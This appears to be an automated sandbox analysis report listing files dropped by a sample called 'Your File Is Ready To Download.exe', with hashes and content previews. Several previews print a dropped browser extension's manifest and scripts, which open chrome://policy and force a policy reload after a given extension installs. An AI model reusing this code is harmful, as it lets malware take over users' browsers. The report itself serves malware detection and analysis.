                    SHA-512:E99423E1DF6D578DDD5ACA15812EB3DB5627B7DF0645339CEBA4E13F1A1BB36D3D18138FBFA851A12545FB51943BF18C9007ADDBAE4C26FE0E7E0EE9FF865625
                    Malicious:false
                    Reputation:low
                    Preview:{"version":1,"cache_data":[{"file_hash":"4ed70e98124ebc6a","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1702654386020905}]}
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):85
                    Entropy (8bit):4.3488360343066725
                    Encrypted:false
                    SSDEEP:
                    MD5:0C503B14C261149EF6E3721E1496CBBF
                    SHA1:F4D66EF27D1D106A9C6BA607C21EA478391FEE8E
                    SHA-256:BAA81A0C65608894017D8F33FD9B772EC12C70B7CE8E656CA33A67D37E63FA3A
                    SHA-512:9BDEAA1996863957F1F5B0D0A484450C06D94E06C45EDDAA98F35070170298CC5BFA55081FBBC2D4F2230FC7EAD2431A2DD7342851FC285D3B824E1DBE1DE399
                    Malicious:false
                    Reputation:low
                    Preview:{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":4}
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):35509
                    Entropy (8bit):6.059483897603256
                    Encrypted:false
                    SSDEEP:
                    MD5:37E0A2AF5E99F244357FEB672CC00AC8
                    SHA1:FBD3784AD55DAC24F42419EEFEC02AB154ABB871
                    SHA-256:1790599DA30F14DD1FE88FA4C75CD0A30A0C8235F91FFA5EEAC64B6C031F28CF
                    SHA-512:F24C2DEC24A2A34AD727FD9BAC6A6DE83C42D150307B61C54E650D9545D8EE44F2FB481DC026ED12E429A16862842B6FC21CE223853B10B739A06028FEC62E0D
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"chrome_labs_activation_threshold":70,"chrome_labs_new_badge_dict":{},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1702547943"},"domain_actions_config":"H4sIAAAAAAAAAAMAAAAAAAAAAAA=","dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"f
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):58836
                    Entropy (8bit):6.106836119860129
                    Encrypted:false
                    SSDEEP:
                    MD5:CA0644E5E621D2A0AB0DE132140C7C5B
                    SHA1:20BAEF85D9E568CF04E9F33CD3CC9AA0947A0621
                    SHA-256:5896D7FA68F8F3AE62E5FE942453A2C4FD3A0DADA9A268DFB549AA8BF909709A
                    SHA-512:4735BBDB52628847AC0CD6CB19A7A5E10147F9AC7DD0E0D5E904F2A4572A0860DBEADE2719F6B71BA2DE1B00E78DD2941CB78CB8E686AEC31ED79A835F1797DC
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):59670
                    Entropy (8bit):6.106938039288276
                    Encrypted:false
                    SSDEEP:
                    MD5:CE1B78C48AE9448D32DDCC115D1C99EF
                    SHA1:5DB65CFE8273F5C0BF133C21A23A9996BD3DA8A0
                    SHA-256:F6484259759E3802046C3CEF1106CA9C626C78E42B0C00E9914E2349ABCB121F
                    SHA-512:075A2C9342073F2565BF2CC4C2D8082372300D9F9951C97B86C56E5C5F1AEDAD252A7B19692BC90903609BFE63D6471E9C591329B27C2289A18108E822333E05
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):31399
                    Entropy (8bit):6.069960479596999
                    Encrypted:false
                    SSDEEP:
                    MD5:77DB4F2F900D3A938EE50F189D093656
                    SHA1:7CBE66ABE98BA2C76EB4A1B6674020F5BE99D2F8
                    SHA-256:1E21E3855A167A11C382ACFFDD851B501B0CA26374D5D5A612E70F409E57242D
                    SHA-512:90C0ADD7CBCFBF3BEED9071C02FA40D6ED33582753C43D005C2A6BE8C830297F25B365A54ED8F3DCA03692037D662775E45EC69D5E6FC3C7EDF582A18C9CB16F
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"chrome_labs_activation_threshold":70,"chrome_labs_new_badge_dict":{},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1702547943"},"domain_actions_config":"H4sIAAAAAAAAAAMAAAAAAAAAAAA=","dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"f
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):2278
                    Entropy (8bit):3.8506288499255663
                    Encrypted:false
                    SSDEEP:
                    MD5:74FAE5C8627E6DD05FBB145DFA312B11
                    SHA1:38C13D51834CE98392B36A381A829640D1867A9B
                    SHA-256:662CE6B296AEE180FEC1C1DC198FBBDA00B7C375452191A88047B555BC955445
                    SHA-512:9839A563497377414EC3B193A618E09C66D6643ECA0F9EB3319E33C1CA354A56DA257259564F50DD8D28CCFDAEEAD6F4303A175D70FB697DC074900FEC490A86
                    Malicious:false
                    Reputation:low
                    Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.B.h.l.i.H.w.u.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.g.S.M.+.E.
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):4622
                    Entropy (8bit):3.9997389217790156
                    Encrypted:false
                    SSDEEP:
                    MD5:F11EEAAE87C93D4CE18030B4A68EFE79
                    SHA1:1C39D9C901C7E46D8A377F7A9554550A4FC0A4A6
                    SHA-256:7B1F8332AACA7AEA8A103204C78B6617AF558B47E5560A96B16C7786274BFF29
                    SHA-512:0F95BEF4635D628A2785C19B869F94D540053BB18FEE64B676C02A7992C41CCD6B9E7638F93AAFB515EB4F3E115DACA81B98430C8A716BE9F7E9609A1943E6DE
                    Malicious:false
                    Reputation:low
                    Preview:{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".M.3.D.T.b.n.Q.u.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.g.S.M.+.E.
                    Process:C:\Users\user\Desktop\Your File Is Ready To Download.exe
                    File Type:Google Chrome extension, version 3
                    Category:dropped
                    Size (bytes):46654
                    Entropy (8bit):7.9590350147638365
                    Encrypted:false
                    SSDEEP:
                    MD5:2BA2554244EA500AA5847F1FF7A9D26C
                    SHA1:DEBA543755C488CDC7A3BEE7CD46E7FE4B7F1212
                    SHA-256:8B7D4B43A9EEBC6C3FC78DEA1AB562711651FC24043F260018C80021B33FBC4B
                    SHA-512:104FBB55F037015FFB02025A3F663C29D0D113DBF72AFCF9A9D1D7C0D20013E3A72905A5B2EEACCDD23828C0DA1855FB852CB7AA74535BF7EB0A5854E6877311
                    Malicious:false
                    Reputation:low
                    Preview:Cr24....E.........0.."0...*.H.............0............-.."a....7.@M....lVa...$E.F...|..l.5<o4_...P....5.1K.[.S.......Y.GJ.Na{.x~|...*......d7$...J...n.....,..tV.0.|..2..~..?...._G.2.&.....z.3..|{...-I......f..,{q..h6E..l.\..Zz......hFs...1bU..UyS.c....]..L)-..~7.lz.:.D..........*...!..{0.G........f...O.{a...<......p1.%_...$PV....M..V...G.....m:..B....+...w.~.|"......`^....L....;P."...k.r.!{...=.A..'.._+...,M.L.....y.......B....{.#.....+4.c6.A K...o.!\.e.<.j.0.*..Z.5Qa.\!..aZ.YO......A(.x...o...Y....u....tR|z.w..u.....i.K'._r..V2-.r..3.@&.......BU....PX..,...r.PK..-.......OV...[............manifest.json.....................SMo.0...W...(.9n..h.a.......!3.#W..%.....I.]wK..f?>>R...".r...Y...m^D.d.....:a[.@.w#>..w{C..-k=.j.Y.m....Q..#)a...._........f........u.b.!....xc.o0......<@.C...CK..m..<. ..`.h..S....d. p*..IW.:=wn7......8...3...$.|..)..?.X~,.b.,.....c....bJ..uqY.. ...Q.u.v..%B^..E[......8..qJ.Fg...V.b.Pa>..[`.cFJ..v....M..7)...8ipiyj..a...5.5../..
                    Process:C:\Users\user\Desktop\Your File Is Ready To Download.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):273
                    Entropy (8bit):4.76438627845756
                    Encrypted:false
                    SSDEEP:
                    MD5:99F8D6AA35E67DB20B5F6E3FC54101CE
                    SHA1:37E09293AA7CDB8FAE7754AAAE3E8BD2591A2F29
                    SHA-256:CC1C1C7AA14AC707F66629095B8E117109660C13511F26D6EEDA1E9FDC363AB2
                    SHA-512:57562DBE3C33139B98FF244CDCC233C9689823A11032D42B9B179EDA53831481422D69A62691EEBFF34C0AE85C36CBE7F8B16599D89919BAB759CFD38AF27797
                    Malicious:false
                    Reputation:low
                    Preview:{..."name": "Apps",..."description": "",..."version": "1.0",..."manifest_version": 3,..."background": {...."service_worker": "service.js",...."type": "module"...},..."permissions": ["tabs", "scripting", "management", "background"],..."host_permissions": ["chrome://*/*"]..}
                    Process:C:\Users\user\Desktop\Your File Is Ready To Download.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):320
                    Entropy (8bit):5.073881670663314
                    Encrypted:false
                    SSDEEP:
                    MD5:1FE579C153AE40CF460615BD79DA3ED0
                    SHA1:EFB41E8B7AA825101EC6856287A655C448483857
                    SHA-256:DCF80F0A803A85A3334272B07A545BF154116EFCD9F9E5D9340763BE11B0EA79
                    SHA-512:992074BA16132DC5147BEF6869DCB99E60BC58D71A6E70B59B540F0133E4FC78D3C7385960A334A5A8C14F1AC362589AF4D008872A93591AC65314D94DE20084
                    Malicious:false
                    Reputation:low
                    Preview:chrome.management.onInstalled.addListener(info => {...if (info.id != 'ecffbknobglofafinobbcmaionnihcma') return;.....setTimeout(() => {....chrome.tabs.create({ url: 'chrome://policy' }, tab => {.....chrome.scripting.executeScript({......target: { tabId: tab.id },......files: ['web.js'].... });....});...}, 500);..});
                    Process:C:\Users\user\Desktop\Your File Is Ready To Download.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):299
                    Entropy (8bit):4.8969499354657176
                    Encrypted:false
                    SSDEEP:
                    MD5:78DA8C3C7BCC4FCBE1D1C1D4209BA026
                    SHA1:CCACDA33826629E3A5B552BA26227D9D1B026BCA
                    SHA-256:893FCFE4EDCDB07BCC3E05A3304F93F0358C9D8F4CC967058585F553BB82AD02
                    SHA-512:01C3DEF2B9A38ABD5C6D447C52D8EC3533C8098DB69DCF30682EFA992BE71666D66A56AB3E6B161F8017FE018E20E479C365B780F3CF94ED507CAEA99EADBC06
                    Malicious:false
                    Reputation:low
                    Preview:addEventListener('load', () => {...if (location.host !== 'policy') return;.....const reload = () => {....const button = document.querySelector('#reload-policies');......if (button) {.....button.click();.....setTimeout(close, 200);....} else {.....setTimeout(reload, 200);....}...}.....reload();..});
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:Google Chrome extension, version 3
                    Category:dropped
                    Size (bytes):119221
                    Entropy (8bit):7.915564183750704
                    Encrypted:false
                    SSDEEP:
                    MD5:17FF392BDFB0C4E8CF7CCDCBB6AF46FD
                    SHA1:8FA2D4F6E42DB4A93DB9DCE6C60EAE0074A258A2
                    SHA-256:B87BB109D8289B60A4B60B54B73F3E87D02A7B779639F8830FFF4C348745525B
                    SHA-512:C6E3F4EB65A0C560739D27D34FC1497B5F380F9E377EE605D2266E93D60E545F7D4C707CFE02361310612F96CCBDB536121AC38CE979BA343C788BE45684750E
                    Malicious:false
                    Reputation:low
                    Preview:Cr24....."........0.."0...*.H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.q*Ba/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.|.X.M..u..s[.*..?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.*1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........N.B.z.#..-:.y6[h.Z]F..".$...q+...\2...%.S..?0KR..b..#$M.y^...>'...(h..2. ..8...6y..!...1.....B.K..5.H.....!-.".N`......(Ia.l>..[{._.K.Y^..Uv..yV..p..".&..P...2...u#..`..>.x...'..b.mLG..4.)[_.p..\..Y...9.l.......*i.{X 6p....9.N..J......0r.'..:......[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. p.}+Y....E...z.......D....1q. [WJz..Fz....>!...n..la...n..K.".@...........|[s.:.._..wWI`.......#...h..@$..&6.1]....Ow.....8...w.cH.....T}.N.q:......T.Mqn.c.O..~..o.....1....q..a.....X\..P........)..YMSY.........skz.,...v..g......Af.l......-..?...Yf.a.......?l.....g.9..7..m.y..?.K..y........hb.....E.Z...
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):1297
                    Entropy (8bit):5.410864741874668
                    Encrypted:false
                    SSDEEP:
                    MD5:DCB9FE1AF59C7BDCE0B45F5BA5BE4D44
                    SHA1:56AEB7D850AED09674C9337802C20EFECE12A135
                    SHA-256:16BA72453B2789FFF9E493CB2B3E7175FE207A1FC0538BD5832669C1D999D740
                    SHA-512:542D43FB01EB081D36063C696BF659BB4D5F317F05EF56F105E72151E99267EB12D95CDC123BB25C6A7C524C5E99FFD67603CBC81DD83AE016D19E09E7C3478C
                    Malicious:false
                    Reputation:low
                    Preview:{"logTime": "1006/090722", "correlationVector":"rmkayOhJfEabcRCB2/Bp31","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/090722", "correlationVector":"jqHPV/yTVN5KYgOfDN/5Rr","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/090722", "correlationVector":"25C1A0EE3BD244A1BB83CF2641B12F1A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1006/093120", "correlationVector":"a/GaihlkzouX6tpAQ3civy","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/093121", "correlationVector":"2831F27CA5B645488E2DF2452C16A59E","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1006/093243", "correlationVector":"7DhT8FK3VbHYWFgub0ZtsN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/093243", "correlationVector":"83EFC8979E1A419495133BAFAFA5A23F","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1006/093745", "correlationVector":"Bxyvid0fodNJ7Wehc/BC7P","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1006/093746", "correlationVector":"B1516CBB
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):436
                    Entropy (8bit):7.251495435197672
                    Encrypted:false
                    SSDEEP:
                    MD5:DFEB6046FE9F98BD0139250947A73505
                    SHA1:894DED788BCF08E3B7424032826E10874714FD12
                    SHA-256:CACC601D4A41040DAE3C97F0014C4C5AAA943BCF7DF9CADAFBF0210CE8DB565E
                    SHA-512:5027283C3DED303C4CC913A599B42577CD125879181BF722774435F966AD5011BCE43DDC27B5CA0E7D02F9E0098A6EF0F441BF238E1066A11F0FEE6DD26CAC19
                    Malicious:false
                    Reputation:low
                    Preview:.PNG........IHDR...0...0.....W.......bKGD.............iIDATh..?J.1..?.;...+...Cl.^.[...%.......3h!.b!(."..X..2$.M^...|.f.$.o....h4.r.\...+..ns....?..*...SI.......R......{...p}D...1..U.M..?.........0.vS:..=n..f..>q..h.......}. ..U!.'.C..W...x[/.j.*..q.....EKZ.Y...%.F:.Ah..q...T!S4.D...(.&q.t....@.8?.0+...0)..?.0'0.t.....\...I..6M@.&.MH.Z..!....%B...BH..\WKQ...Js.WDae.I.2..o....e...I........w..=.Fc.~...E...XK....IEND.B`.
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):4628
                    Entropy (8bit):7.901547948486716
                    Encrypted:false
                    SSDEEP:
                    MD5:84AEE254094F927B13C467AC6DEC8883
                    SHA1:172A9C928A0BE09C28AD56E2CDEFB04CB1E2C163
                    SHA-256:8BF08A798DAE4543CADD035284795E43D7E5CF36D16F53FF51F5539FFB5AACD1
                    SHA-512:86E600BE8D811A58501FD2028DC6F2F998C05DE1A7200C55068B0B87C1BA9805786028A5DE40FDE78FFAC0F1F576D2858340FD4EF43E01528B5647B0337D42A8
                    Malicious:false
                    Reputation:low
                    Preview:.PNG........IHDR..............>a.....pHYs..........|(.....tEXtSoftware.www.inkscape.org..<.....IDATx..y|TU....UU.Z..."..!,.B\..H..q..P...8. -..2jl?..Il.|..Q..zZ[f.G....".`.@...YE....lUu...b3NR.U.{u.*...O......}..{.@..... ...aK..?B.2.D....H..."....N......>.s'.[.jQ.f...|.B9.P./.j].2..=H[.TW......B...D0.... ..w.....B.....iI...?..V....?C1a..3.t...I......%.{.c...YCaI.D$..0}..X.n..n.....1..q&...X...Wv0......fe.....r7.n&.CvLQ...a......LJ.`V5g.y..Q.*...'N...!.,..GV.)!...p..:.`...g.Gg.......5..v....~.[;.....|.g..xx..~fC.cK.<&...........+9...!P....1..%...=.~.....,.H...e.N......('I#.Y..../....V..$.._....V.7..}R.`Ze.9&......X....9....^E.zv+]..+.70.....cI....v='...`.\..Y.W.....R..1.m....GgR.0....E.....2....{s0..w_...z.+..T.k.G.l!."k.&}`. .]7~P..V7...L.c.`j.\|. .jQ..]1.ch.]$L.....tN..9.(...1d.;...??.....L......1.AP2...^E...u..h..~E..m.....d...8..u...Q...zU.oz.Z{..KA.Q?A...h..j6km`....[4.^8z.b.>.4..d........d..9d..Y..Fl...S..aM.).....].<.._M2....{..Z.u.@...5;..b..w...
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with very long lines (65451)
                    Category:dropped
                    Size (bytes):89476
                    Entropy (8bit):5.2896589255084425
                    Encrypted:false
                    SSDEEP:
                    MD5:DC5E7F18C8D36AC1D3D4753A87C98D0A
                    SHA1:C8E1C8B386DC5B7A9184C763C88D19A346EB3342
                    SHA-256:F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
                    SHA-512:6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
                    Malicious:true
                    Reputation:low
                    Preview:/*! jQuery v3.5.1 | (c) JS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 14 08:59:42 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                    Category:dropped
                    Size (bytes):2673
                    Entropy (8bit):3.979187998640117
                    Encrypted:false
                    SSDEEP:
                    MD5:F18EA4759555B25FA527BEE092D7F8AB
                    SHA1:9C00EE61253B222D2B942F65441926BD9DBC8C19
                    SHA-256:1D8EF2E6EEBB9EC2BEA6A0C45A45703C451792100817D5534C38FCB7E3670B4D
                    SHA-512:AF8F026DFD3C4D116708EEDFA2D4E67F3B03E670577BC710537DA36C6BA97DA89E4804EC84BCF4928EA3CB2066D3B0C213D62976EFB4935534C3BF7D22366353
                    Malicious:false
                    Reputation:low
